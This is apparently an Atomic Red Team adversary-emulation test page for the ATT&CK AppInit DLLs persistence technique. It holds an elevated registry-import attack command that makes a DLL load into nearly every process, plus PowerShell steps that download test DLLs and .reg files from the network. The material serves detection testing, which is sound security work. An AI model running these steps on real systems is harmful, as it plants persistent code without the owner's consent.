# T1546.010 - Event Triggered Execution: AppInit DLLs

## Description from ATT&CK

> Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppInit DLLs loaded into processes. Dynamic-link libraries (DLLs) that are specified in the <code>AppInit_DLLs</code> value in the Registry keys <code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows</code> or <code>HKEY_LOCAL_MACHINE\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Windows</code> are loaded by user32.dll into every process that loads user32.dll. In practice this is nearly every program, since user32.dll is a very common library. (Citation: Elastic Process Injection July 2017)
> 
> Similar to Process Injection, these values can be abused to obtain elevated privileges by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. (Citation: AppInit Registry) Malicious AppInit DLLs may also provide persistence by continuously being triggered by API activity.
> 
> The AppInit DLL functionality is disabled in Windows 8 and later versions when secure boot is enabled. (Citation: AppInit Secure Boot)

[Source](https://attack.mitre.org/techniques/T1546/010)

## Atomic Tests

- [Atomic Test #1: Install AppInit Shim](#atomic-test-1-install-appinit-shim)

### Atomic Test #1: Install AppInit Shim

AppInit_DLLs is a mechanism that allows an arbitrary list of DLLs to be loaded into each user mode process on the system. Upon succesfully execution, 
you will see the message "The operation completed successfully." Each time the DLL is loaded, you will see a message box with a message of "Install AppInit Shim DLL was called!" appear.
This will happen regularly as your computer starts up various applications and may in fact drive you crazy. A reliable way to make the message box appear and verify the 
AppInit Dlls are loading is to start the notepad application. Be sure to run the cleanup commands afterwards so you don't keep getting message boxes showing up.

Note: If secure boot is enabled, this technique will not work. https://docs.microsoft.com/en-us/windows/win32/dlls/secure-boot-and-appinit-dlls

**Supported Platforms:** Windows

**auto_generated_guid:** `a58d9386-3080-4242-ab5f-454c16503d18`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| registry_file | Windows Registry File | path | PathToAtomicsFolder&#92;T1546.010&#92;src&#92;T1546.010.reg|
| registry_cleanup_file | Windows Registry File | path | PathToAtomicsFolder&#92;T1546.010&#92;src&#92;T1546.010-cleanup.reg|

#### Attack Commands: Run with `command_prompt`! Elevation Required (e.g. root or admin)

```cmd
reg.exe import "#{registry_file}"
```

#### Cleanup Commands

```cmd
reg.exe import "#{registry_cleanup_file}" >nul 2>&1
```

#### Dependencies: Run with `powershell`!

##### Description: Reg files must exist on disk at specified locations (#{registry_file} and #{registry_cleanup_file})

###### Check Prereq Commands

```powershell
if ((Test-Path "#{registry_file}") -and (Test-Path "#{registry_cleanup_file}")) {exit 0} else {exit 1}
```

###### Get Prereq Commands

```powershell
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
New-Item -Type Directory (split-path "#{registry_file}") -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.010/src/T1546.010.reg" -OutFile "#{registry_file}"
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.010/src/T1546.010-cleanup.reg" -OutFile "#{registry_cleanup_file}"
```

##### Description: DLL's must exist in the C:\Tools directory (T1546.010.dll and T1546.010x86.dll)

###### Check Prereq Commands

```powershell
if ((Test-Path c:\Tools\T1546.010.dll) -and (Test-Path c:\Tools\T1546.010x86.dll)) {exit 0} else {exit 1}
```

###### Get Prereq Commands

```powershell
New-Item -Type Directory C:\Tools -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.010/bin/T1546.010.dll" -OutFile C:\Tools\T1546.010.dll
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.010/bin/T1546.010x86.dll" -OutFile C:\Tools\T1546.010x86.dll
```